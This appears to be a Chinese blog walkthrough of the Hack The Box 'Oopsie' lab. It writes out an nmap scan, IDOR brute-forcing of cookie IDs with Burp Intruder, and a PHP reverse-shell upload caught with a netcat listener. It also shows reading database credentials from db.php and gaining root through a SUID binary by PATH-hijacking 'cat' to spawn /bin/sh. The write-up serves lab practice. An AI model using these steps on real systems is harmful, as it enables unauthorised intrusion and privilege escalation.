Hacker The Box 之 Oopsie 9

 填空题

第一题

第二题

第三题

第四题

第五题

第六题

第七题

第八题

第九题

第十题

第十一题

第十二题

操作

注意:我这机器的IP用了两个,

第一个10.129.226.120。

第二个10.129.228.3。

(中途吃个饭,openvpn断了,机器重置,文章也弄到一大把了就没重做了)

信息收集

还是老规矩,先用nmap扫一下,开启什么端口

nmap -v -sS -sV 10.129.226.120

发现开启的是22 和80 端口

先访问一波

随便浏览了一下,没啥发现

路径泄露

打开bp看看能不能有什么发现

发现登录窗口

http://10.129.226.120/cdn-cgi/login/

 

这里的账号是admin
密码是上一个场景已经获得的MEGACORP_4dm1n!!
登录后跳转到门户页面
(其实这一步我也没想到,查看官方wp后也是一脸懵逼)
(But there is also an option to Login as Guest . Trying that and now we are presented with couple of new
navigation options as we are logged in as Guest: 
但也有一个选择以来宾身份登录。
尝试一下,现在我们看到了一些新的
作为来宾登录时的导航选项:
)
有没有大佬解惑一下

 越权

简单浏览一下,发现Upload选项,但是需要Super Admin权限才行

 同时也发现在Accounts板块中存在来宾用户和id=2

10.129.226.120/cdn-cgi/login/admin.php?content=accounts&id=2

瞎测试一下id=1

10.129.226.120/cdn-cgi/login/admin.php?content=accounts&id=1

 发现存在admin用户,那这思路就明确了

同时抓报,也能验证我们的思路,用cookie 的id来标识身份权限 

  即如 34322 = admin    2233 = guest

尝试遍历,能不能发现超级管理员身份

在终端内用循环生成数字1~100到date.txt里

for i in `seq 1 100`; do echo $i >>date.txt;done;

接下来将Accounts板块的包,使用burp suite的Intruder模块进行自动化攻击

调试参数

 然后运行,在结果里发现我们想要的id了

 我这因为bp存在(嵌入式浏览器初始化失败)所有直接访问

成功获得super admin 的Access ID 为 86575

文件上传

将kali中自带的shell提取到桌面

cp /usr/share/webshells/php/php-reverse-shell.php  ~/桌面

vim 修改本机地址和监听端口

采用kali自带的dirbuster进行扫描 ,寻找上传路径(在kali中扫描字典的默认位置是/usr/share/wordlists/dirbuster)

根据扫描的结果猜测上传的文件在http://10.129.228.3/uploads/下

 

上传webs hell (在这有个魔鬼细节,,就是记得加上文件name,不然一定会触发失败)

启用netcat监听设置的端口来接收webshell

nc -nvvp 1234

访问链接来触发php从而反弹webshell

切回nc的终端,nc成功接收到webshell,反弹webshell成功

升级shell (在这查阅了另外一个大佬的资料,做了升级shell)

        交互式模式就是shell等待你的输入,并且立即执行你提交的命令,退出后才终止
        非交互式模式就是以shell script方式执行,shell不与你进行交互,而是读取存放在文件中的命令并执行它们,读取到结尾就终止

SHELL=/bin/bash script -q /dev/null            //见注解1
Ctrl-Z                                        //见注解2
stty raw -echo                                //见注解3
fg                                            //见注解4
reset                                        //见注解5
xterm                                        //见注解6

1.将在环境变量下将shell设置为/bin/bash且参数为-q和/dev/null的情况下运行脚本,

-q参数为静默运行,输出到/dev/null(黑洞)里,如果不加script -q /dev/null不会新启一个bash,shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容
2.将netcat暂挂至后台
3.将本地终端置于原始模式,以免干扰远程终端
4.将netcat返回到前台,注意:这里不会显示输入的命令
5.重置远程终端,经测试也可以不进行此操作
6.运行xterm
 

 

 执行完上述操作后,我们会获得一个交互式的shell,可以执行su、ctrl+c等命令,且可以tab自动补全了

横向移动

翻阅信息发现在/var/www/html/cdn-cgi/login目录中存在一个数据库的连接信息db.php,
里面包含用户名为robert,密码为M3g4C0rpUs3r!

在这里可以找到位于robert用户根目录下的user.txt,拿到User Own的Flag

 

 提权

可以使用sudo 和 id命令发现robert用户属于bugtracker组,
我们观察到用户 robert 是组 bugtracker 的一部分。  
让我们试试看里面是否有二进制文件

find / -type f -group bugtracker 2>/dev/null 			//-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker								//-al 以长格式方式显示并且显示隐藏文件

注意

通常记为 SUID(Set owner User ID),用户访问的特殊权限
 级别只有一个功能:具有 SUID 的文件始终以拥有该文件的用户身份执行
 文件,无论用户传递命令。  如果文件所有者没有
 执行权限,然后在此处使用大写的 S。
 在我们的例子中,二进制 'bugtracker' 归 root 所有,我们可以以 root 身份执行它,因为
 它设置了 SUID。

 

用strings查看 /usr/bin/bugtracker
发现cat /root/reports/

 1.bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限
2.并且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root

export PATH=/tmp:$PATH				//将/tmp目录设置为环境变量
cd /tmp/							//切换到/tmp目录下
echo '/bin/sh' > cat				//在此构造恶意的cat命令
chmod +x cat						//赋予执行权限

这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,
我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,
执行id命令发现只是robert用户的uid变为了root,不是真正的root用户

然后可以找到/root目录下的root.txt拿到SYSTEM OWN的Flag 
(需要注意的是此时cat命令已被替换无法读取文件,可以使用more命令)

 

回顾整理

1.常规扫描靶机  nmap -sC -sV IP扫端口,扫出22和80端口
2.打开浏览器,访问80端口,页面上没有啥,查看源码,找到/cdn-cgi/login,找到后台登录入口
3.登录,用户名 admin 密码没啥特别提示,尝试上一台靶机的密码,果然一样
4.后台四个模块,account模块管理账户信息,uploads上传文件
看见uploads,就知道找到了shell上传点,点开需要super_admin权限,通过抓包发现,其实是通过cookie里面的userid控制用户的
同样的抓包acconts,发现他并没有验证cookie中的userid,只需更改id参数,就可以读到userid,因此可以通过burpsuite爆破所需的super_admin的userid
果然,id=30时抓到userid变为86575,更改uploads里的userid,发现出现上传窗口
5.上传shell
kali里面的webshell都在 /usr/share/webshells/目录下
选取里面的php-reverse-shell.php用于反弹shell
nc -lvvp 1234接受反弹来的shell
6.找上传路径,dirsearch直接扫就可以,扫出/uploads路径
7.

SHELL=/bin/bash script -q /dev/null			//后台新开一个shell -q标识静默开启,输出到/dev/null
Ctrl-Z						//netcat挂到后台
stty raw -echo					//stty命令 修改终端命令行的相关设置 -echo不回显 raw是linux的一种设备。
                                                                                                 //可以理解为缓冲区,将本地终端置于原始模式,以免干扰远程终端
fg						//netcat切回前台继续运行
reset						//重置远程shell
xterm					                //开启xterm,是一个虚拟终端工具,用来提供多个独立的SHELL输入输出

8.翻翻翻,发现数据库连接文件,发现robert用户的用户名,密码robert M3g4C0rpUs3r!切换用户,拿到user的flag
9.提权,常用思路是看robert用户有无特权指令可以用,id robert,发现属于bugtracker组
        find / -type f -group bugtracker 2>/dev/null //查看属于bugtracker组的文件
        ls -al /usr/bin/bugtracker //查看可执行文件权限,有setuid权限,

setuid是指赋予一个进程他所有者的权限,任意存取该文件的所有者能使用的全部系统资源,
//就是说你只要有权执行这个可执行文件,而这个文件里调用了只有root系统命令,那么执行的时候这个进程就相当于root
10.string命令标识在对象文件或二进制文件中查找可打印的字符串
        strings /usr/bin/bugtracker //查看他执行了哪些命令
查看到了使用了cat root目录下的文件,那么我们就要进这个目录,这条命令只有root权限的人才能调用,所以重写这条命令,就能得到root权限
只需改写cat
        export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
        cd /tmp/ //切换到/tmp目录下
        echo ‘/bin/sh’ > cat //在此构造恶意的cat命令
        chmod +x cat
由于设置了优先级,会默认会执行我们创建的cat命令
运行bugtracker,当运行到我们的cat指令时,会暂时获得root权限,得到一个root权限的shell
拿到root flag

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

A4n9g7e2l

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值